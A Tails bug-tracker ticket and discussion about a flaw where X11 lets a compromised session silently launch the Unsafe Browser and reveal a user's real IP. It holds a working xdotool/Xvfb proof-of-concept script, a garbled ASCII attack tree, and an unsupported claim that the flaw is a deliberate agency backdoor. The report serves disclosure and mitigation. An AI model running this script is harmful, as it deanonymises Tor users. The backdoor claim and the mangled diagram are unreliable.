The Unsafe Browser allows to retrieve the public IP address by a compromised amnesia user with no user interaction

The X11 protocol has long been known to not provide isolation between windows. Here I will show that it can be abused to bypass the firewall without any user interaction or visible side-effects by abusing the Unsafe Browser. I also provide mitigations while waiting for the switch to Wayland.

The existence of the clearnet user and the sudoers whitelist for the Unsafe Browser makes it possible to reliably bypass the firewall by abusing the X11 protocol. Previously, I've seen doubts that this can be done surreptitiously and claims that it would necessarily require that the users see the browser pop up and the mouse be moved without their control. I have written a simple PoC (proof of concept) exploit which bypasses the firewall to show that is untrue:

```bash
#!/bin/bash
export DISPLAY=:69
mv /run/user/1000/bus{,.bak}
Xvfb $DISPLAY -r -nocursor & xpid=$!
sleep 1
sudo DISPLAY=$DISPLAY unsafe-browser &>/dev/null &
xdotool search --sync --name zenity 1>/dev/null
xdotool key --delay 200 Tab Return
xdotool search --sync --name Unsafe 1>/dev/null
xdotool key --delay 200 ctrl+l
xdotool type --delay 200 www.yourip.us
xdotool key --delay 200 Return
xdotool search --sync --name Your getwindowname | awk '{print $5}'
mv /run/user/1000/bus{.bak,}
kil "$xpid"
exit 0
```

The Unsafe Browser, or more specifically the clearnet user, should not be enabled and functional by default. Whenever it is not needed, the clearnet user should be locked, and the Unsafe Browser should either throw an error on access or not even be displayed. I can think of three mitigations:

1. Disable the browser by default, requiring it to be explicitly enabled in the splash screen.
2. Disable the browser as soon as Tor successfully connects, which would indicate no captive portal.
3. Attempt captive portal detection to detect request rewrites and enable the Unsafe Browser only then.
I am marking this as a bug because this PoC clearly shows that the Unsafe Browser violates the security principles in the specified design documents. Until the switch to Wayland is completed (and perhaps even then), the existence of the clearnet user should be considered incompatible with anonymous Tor usage. I am currently working on another exploit which bypasses the browser AppArmor profile without user interaction in order for this to be possible from within the context of a compromised browser as well. If I have the time, I will finish it up and report it as well.

[1]: https://git-tails.immerda.ch/tails/plain/config/chroot_local-includes/etc/sudoers.d/zzz_unsafe-browser
[3]: https://tails.boum.org/contribute/design/Unsafe_Browser/

:sajolida: is watching this ticket.

Related issues:

<table>
<thead>
<tr>
<th>Related to Tails - Feature #5785: Detect captive portals</th>
<th>Confirmed</th>
<th>09/26/2014</th>
</tr>
</thead>
<tbody>
<tr>
<td>Related to Tails - Feature #10491: Redesign the network configuration and sta...</td>
<td>Confirmed</td>
<td>06/22/2014</td>
</tr>
<tr>
<td>Related to Tails - Feature #12213: Wayland in Tails 5.0 (Bullseye)</td>
<td>In Progress</td>
<td>09/02/2017</td>
</tr>
<tr>
<td>Related to Tails - Feature #17085: Allow to disable the Unsafe Browser in the...</td>
<td>In Progress</td>
<td></td>
</tr>
<tr>
<td>Related to Tails - Bug #17134: Make sure the user can see the Unsafe Browser’...</td>
<td>Confirmed</td>
<td></td>
</tr>
<tr>
<td>Blocks Tails - Feature #16209: Core work: Foundations Team</td>
<td>Confirmed</td>
<td></td>
</tr>
</tbody>
</table>

Associated revisions

Revision d7610dbc - 09/23/2019 11:23 AM - segfault
Add Greeter option to disable the Unsafe Browser (refs: #15635)

Revision b80f4c8b - 09/23/2019 01:43 PM - segfault
Add Greeter option to disable the Unsafe Browser (refs: #15635)

History

#1 - 06/04/2018 04:03 AM - cypherpunks
I also wonder if the PELD threat model has the goal of preventing deanonymization in the case that an exploit used against Tor Browser compromises it. If so, then treating the Unsafe Browser as incompatible with anonymity is even more important, since a working exploit against Tor Browser implies a working exploit against the Unsafe Browser. An attacker who can compromise Tor Browser can subsequently serve the same exploit page to the Unsafe Browser to compromise the un-firewalled clearnet user and gain access to the open internet.

#2 - 06/04/2018 06:10 AM - intrigeri
Thanks, I'll look into it.

#3 - 06/04/2018 09:17 AM - emmapeel
- Assignee set to intrigeri

#4 - 06/07/2018 11:55 AM - mercedes508
- Status changed from New to Confirmed

#5 - 06/10/2018 05:05 PM - intrigeri
- Related to Feature #7072: Research potential for deanonymization by a compromised "amnesia" user added

#6 - 06/10/2018 05:06 PM - intrigeri
- Related to Feature #5785: Detect captive portals added

#7 - 06/10/2018 05:06 PM - intrigeri
- Related to Feature #10491: Redesign the network configuration and startup added

#8 - 06/10/2018 05:16 PM - intrigeri
Retitling to describe the problem rather than one of its many potential solutions.

I'm classifying this as part of #7072. I'd rather not spend too much UX + dev time on the specific case of the Unsafe Browser:

- before we have a clear overview of what the various threats are
- before we see some progress on either the move to Wayland or #10491 or #5785 (I'm not sure about the 2 latter ones but I suspect we'll be running Wayland before the research on #7072 is done and UX/security conclusions are drawn: I'd rather see our UX people work on #10491 than on short-term mitigations)

Still, it's an important problem so I'm leaving priority = Elevated as-is.

---

intrigeri wrote:

- before we have a clear overview of what the various threats are

The threat model is simple. I wrote up a very quick attack tree that should be a fairly clear overview of the threats. Note that misc vectors like vulnerable image viewers are not taken into account, only the browser is.

```
+----------------+   +----------------+
| User visits    |   | Social engineering |
| ---------------|   |                    |
|     +---------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+ |
|     | Vulnerability |   |        | User-assisted |   | code execution |   | Noisy firewall |   | Silent firewall |
|     +---------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+ |
|     | Remote code execution |   | User-assisted code execution |   | bypass |   | bypass |   | bypass |
|     +---------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+ |
|     |                |   |                |   |                |   |                |   |                |
|     | Shellcode |   |                |   |                |   |                |   |                |
|     +---------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+ |
+----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+ |
| X11 hijack |   | Abuse unsafe |   | Abuse unsafe browser |   | browser |   | browser |
|            |   |                |   |                |   |                |   |                |
+-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+ |
| Noisy firewall |   | Silent firewall |   | bypass |   | bypass |   | bypass |
|                |   |                |   |                |   |                |   |                |
+-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+ |
| User AFK |   |                |   |                |   |                |   |                |
|            |   |                |   |                |   |                |   |                |
+-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+   +-----------------+ |
```

---

#9 - 06/13/2018 01:47 AM - cypherpunks
Whoops, the "User-assisted code execution" block should connect to "Unsandboxed execution", not "Silent firewall bypass". My bad. The point should be clear, anyhow. I assume you don't need a more formal threat model?

- Blocks Feature #16209: Core work: Foundations Team added

- Related to Feature #12213: Wayland in Tails 5.0 (Bullseye) added

I'm very sorry (and not proud at all) that I've postponed looking into this issue for so long. I've now put it on the radar of our Foundations Team to give it more exposure, avoid being personally the blocker here, and increase the chances someone else looks into it.

I can think of three mitigations:

1. Disable the browser by default, requiring it to be explicitly enabled in the splash screen.

I think simply adding this as a setting in the list of "Additional Settings” wouldn’t require much UX and dev work. I could work on that.

2. Disable the browser as soon as Tor successfully connects, which would indicate no captive portal.

I like this idea, but it has a downside: If I travel with my laptop, and connected to Tor successfully once but then move on, I won't be able to use a different network with a captive portal without rebooting. (The same is of course true for solution 1 if I didn't already enable the unsafe browser in the greeter).

3. Attempt captive portal detection to detect request rewrites and enable the Unsafe Browser only then.

That seems like the solution that requires the most work. And I guess that this is only safe if the captive portal detection is done the first time a network connection is established after boot, because else the detection could be fooled by unsandboxed code execution and we wouldn't gain any security. So this also requires rebooting to use a captive portal after successfully establishing a network connection.

So I think I prefer solution 1 because it allows users to change networks without rebooting.
intrigeri wrote:

I'm classifying this as part of #7072. I'd rather not spend too much UX + dev time on the specific case of the Unsafe Browser:

- before we see some progress on either the move to Wayland or #10491 or #5785 (I'm not sure about the 2 latter ones but I suspect we'll be running Wayland before the research on #7072 is done and UX/security conclusions are drawn: I'd rather see our UX people work on #10491 than on short-term mitigations)

The proposals I read about on #10491 go into another direction: Moving the network configuration into an application run inside a Tails session, instead of the greeter. That wouldn't solve this issue at all.

---

#16 - 07/14/2019 07:44 PM - intrigeri

1. Disable the browser by default, requiring it to be explicitly enabled in the splash screen.

   I think simply adding this as a setting in the list of "Additional Settings" wouldn't require much UX and dev work. I could work on that.

The main problem I see with this idea is that pretty often, one discovers they need to log into a captive portal after trying to connect to a Wi-Fi network.

---

#17 - 07/16/2019 02:58 AM - moonmoonmoon

I don't understand why anyone would consider it fine to have the unsafe browser enabled by default, when probably only 0.1% of tails users will ever use it, while it creates a huge security risk for 100% of Tails users. I think it should for sure be disabled by default. For the 0.1% of people that need it, it's fine if accessing it is slightly harder, as those people are aware of the fact that they need it.

---

#18 - 07/19/2019 01:53 PM - sajolida

I face captive portals all the time when traveling: in train stations, airports, hotels, public hotspot, etc. In such public places, captive portals are the norm rather the exception to me.

A lot of people use Tails while traveling and could experience the same:

- Our personas:
So, rather than 0.1% my guess is more around 50% of Tails users will ever log in through a captive portal.

Connecting to a network with special properties (captive portal, Tor censorship, MAC access list) is already quite hard as of now. When doing usability testing of Tails, the number of times you have to reboot Tails is already a common complain. So please don't force people to reboot in yet another case that will make very little sense to them.

#19 - 07/19/2019 09:49 PM - segfault

So, rather than 0.1% my guess is more around 50% of Tails users will ever log in through a captive portal.

I agree that a lot of users would be affected by this change. But this is also a serious issue (which we ignored for long). Maybe we could somehow make use of NetworkManager's connectivity check (see https://manpages.debian.org/unstable/network-manager/NetworkManager.conf.5.en.html#CONNECTIVITY_SECTION).

#20 - 07/20/2019 04:27 AM - moonmoonmoon

I am sure that your 50% guess is far off, and my 1% guess is closer to reality. The amount of people that use Tails while traveling is likely very low. There should be some way to find out who is right though?

If that's not yet the case, I would recommend adding stats that allow you to see how often a day the unsafe browser was opened. I'm sure that the amount of times the unsafe browser is booted up a day is less than 1% of the amount of times Tails is booted up a day. You have the stats for how often Tails is booted up already, so I assume adding similar stats for the unsafe browser shouldn't be hard.

#21 - 07/20/2019 10:41 AM - sajolida

- Description updated

#22 - 07/23/2019 01:29 AM - cypherpunks

segfault wrote:

Maybe we could somehow make use of NetworkManager's connectivity check (see
Connectivity checks would not be sufficient. It would be quite easy for a local process to fool such checks if doing so would re-enable the Unsafe Browser and clearnet user. Even if that wasn't the case, a local process could just wait until the user needed to use a captive portal and attack then.

#23 - 08/10/2019 11:15 PM - moonmoonmoon
Will this not be fixed in 4.0? Is there any way to manually disable the unsafe browser (maybe through some Tails launch arguments?) in the meantime until this is fixed? I wouldn't feel happy about using Tails while this can still be exploited.

#24 - 08/12/2019 11:29 PM - cypherpunks
moonmoonmoon, you can remove the clearnet user and group from the command line to mitigate this risk. You need to set an admin (root) password in order to do this, of course.

To get root, open the command line and run:

```bash
sudo -i
```

Enter the admin password. After that you can remove the user and group with:

```bash
userdel clearnet
grouppdel clearnet
```

This will prevent the Unsafe Browser from accessing the network.

#25 - 08/12/2019 11:30 PM - cypherpunks
Oops I messed up the markup I guess. Ignore the "{{{" stuff.

#26 - 08/25/2019 01:33 PM - moonmoonmoon
Thanks! That makes sense. "grouppdel clearnet" isn't doing anything, the group doesn't exist, but "userdel clearnet" works.

Would it be hard to add a launch argument to tails for disabling the clearnet user? Would be nice to be able to disable it without requiring root password after having logged in.

I don't understand why fixing this issue isn't #1 priority.
Looking at this issue, it is clear that:

1. This is a possible exploit that allows any malicious code that is executed during a Tails session to expose the real IP address of the user, without the user ever knowing that anything bad happened. Potential cases here would be:
   - The user browsing websites with Tor Browser, and there being a vulnerability in Tor Browser that allows remote code execution out of sandbox.
   - The user downloading a file from the internet and opening it with the default software associated with that file type, while there is a vulnerability in that default software that allows code execution from a maliciously prepared file. It is highly likely (remember all the fixed vulnerabilities in Android's Media Framework) that there are vulnerabilities in the default software in Tails that is associated with popular file types like .docx, .jpg, .png or .mp4. If the user opens such a maliciously prepared file, the code that is executed can expose the users real IP address.
   - The user manually installing some malicious software and executing that software, while the user is under the assumption that all traffic in Tails is guaranteed to be routed through Tor.

2. The existence of this exploit completely goes against the security principles of Tails. While this possible exploit exists, using Tails is not any more secure than using Tor Browser on a regular Linux or Windows system where all traffic outside of Tor Browser is always going through the clearnet. As long as this exploit is possible, it has to be assumed in Tails that running any software apart from Tor Browser might expose the real IP address, and that any vulnerability in Tor Browser might expose the real IP address.

3. This is very likely the most severe security issue that currently exists in Tails, but it has in no ways been treated that way by the Tails developers.

4. This exploit has been demonstrated here in June 2018. If it wasn't known before, it is definitely known since then, and every malicious actor who's interested in breaking the anonymity of Tails users will have made use of this exploit in conjunction with some other vulnerability to expose the IP of Tails users. This exploit affects every Tails user and might already have exposed the IP address of hundreds of thousands of Tails users to malicious actors.

5. The proposed fixes for alleviating this exploit are simple, effective and can be implemented within a few days.

6. Considering the severity of the issue, this issue should have been fixed immediately in June 2018 in an emergency release, potentially by temporarily disabling the unsafe browser until a better solution has been found, tested and implemented. Temporarily preventing Tails users behind captive Portals from using Tails is a very small cost to pay for preventing an exploit that might expose the IP of every Tails user. The voiced concerns from Tails developers about how to not hurt usability of Tails for users behind captive portals are understandable, but they are in no way proportional to the severity of this issue. That makes the concerns appear mostly as making up excuses for not fixing this issue.

7. The fact that the exploit has not been alleviated even a year later is very unusual compared to how fast other, less severe vulnerabilities are patched in Tails. One possible conclusion from that is that the Tails developers do not actually want to have this fixed.

8. Even though this is an extremely severe security issue that fully breaks the security principles of Tails, the Tails developers have neither mentioned anything about this in the "Known Issues" documentation of Tails, nor has this ever been mentioned as an active topic of discussion in the monthly "Tails Reports" that are published on the Tails website. The Tails developers seemingly don't want to draw any attention to this issue.

9. Even if it hurts to say that, all the above points do lead to the potential conclusion that this exploit might be deliberately kept in Tails as a backdoor for some three letter agency, potentially as an exchange for continued government money support for Tails.
I added an option to the Greeter which allows to disable the Unsafe Browser. It's still enabled by default because of the UX issues raised here, but this should allow the users concerned by the deanonymization risk to disable it - at least until we found a better solution.

The UX for users who want to disable the Unsafe Browser is not great, because they have to disable the option every time they boot Tails. This could be improved by supporting to persist the Greeter settings, which is something I would like to work anyway (#5501 is related).

Another idea I had to reduce the risk of (unnoticed) deanonymization via the Unsafe Browser: Make sure that the warning dialog is displayed for at least a few seconds, so that the user has a chance to see it. We could for example make the "Launch" button insensitive for like 5 seconds (maybe with a countdown in the button label).

segfault wrote:

I added an option to the Greeter which allows to disable the Unsafe Browser. That doesn't solve this issue, so I created #17085 and changed the feature branch accordingly.

Another idea I had to reduce the risk of (unnoticed) deanonymization via the Unsafe Browser: Make sure that the warning dialog is displayed for at least a few seconds, so that the user has a chance to see it. We could for example make the "Launch" button insensitive for like 5 seconds (maybe with a countdown in the button label).

This would require to hard code the DISPLAY environment variable in the unsafe-browser, to make sure that the dialog actually uses the display that the user can see.
#32 - 10/08/2019 03:16 PM - segfault
- Related to Bug #17134: Make sure the user can see the Unsafe Browser's warning dialog added

#33 - 10/28/2019 12:00 AM - cypherpunks

segfault wrote:

Another idea I had to reduce the risk of (unnoticed) deanonymization via the Unsafe Browser: Make sure that the warning dialog is displayed for at least a few seconds, so that the user has a chance to see it. We could for example make the "Launch" button insensitive for like 5 seconds (maybe with a countdown in the button label).

This would require to hard code the DISPLAY environment variable in the unsafe-browser, to make sure that the dialog actually uses the display that the user can see.

This would not work at all. An attacker with X11 access (i.e. the attacker in this threat model) would be able to suppress such a dialog trivially.

#34 - 10/28/2019 09:57 PM - segfault

cypherpunks wrote:

segfault wrote:

Another idea I had to reduce the risk of (unnoticed) deanonymization via the Unsafe Browser: Make sure that the warning dialog is displayed for at least a few seconds, so that the user has a chance to see it. We could for example make the "Launch" button insensitive for like 5 seconds (maybe with a countdown in the button label).

This would require to hard code the DISPLAY environment variable in the unsafe-browser, to make sure that the dialog actually uses the display that the user can see.

This would not work at all. An attacker with X11 access (i.e. the attacker in this threat model) would be able to suppress such a dialog trivially.

On #17134, we already came to the conclusion that this approach would not work, but that a GNOME Shell dialog could work. If you think that would also not work, please explain on #17134.
As of April of 2020 this bug was not patched. The fact that Tails devs not even answer or dismiss as pure tantrum a large accusation that Tails “9. Even if it hurts to say that, all the above points do lead to the potential conclusion that this exploit might be deliberately kept in Tails as a backdoor for some three letter agency, potentially as an exchange for continued government money support for Tails.” makes me believe that Tails cannot be trusted anymore.

For me it is the lack of communication to Tails users about the seriousness or not of this issue that begins to make me feel uneasy. Three users have expressed similar feelings but there is no response. Perhaps this is because devs believe there is no concern and nothing to respond to, but silence is not the best policy when users are beginning to worry. I don't know how easy it is to 'compromise amnesia user' in reality, but I do know that nothing is impossible and all software has exploits somewhere.

Perhaps a blog post about this so users can feel confident again? You should include the 'userdel clearnet' workaround for people who might want to feel safer.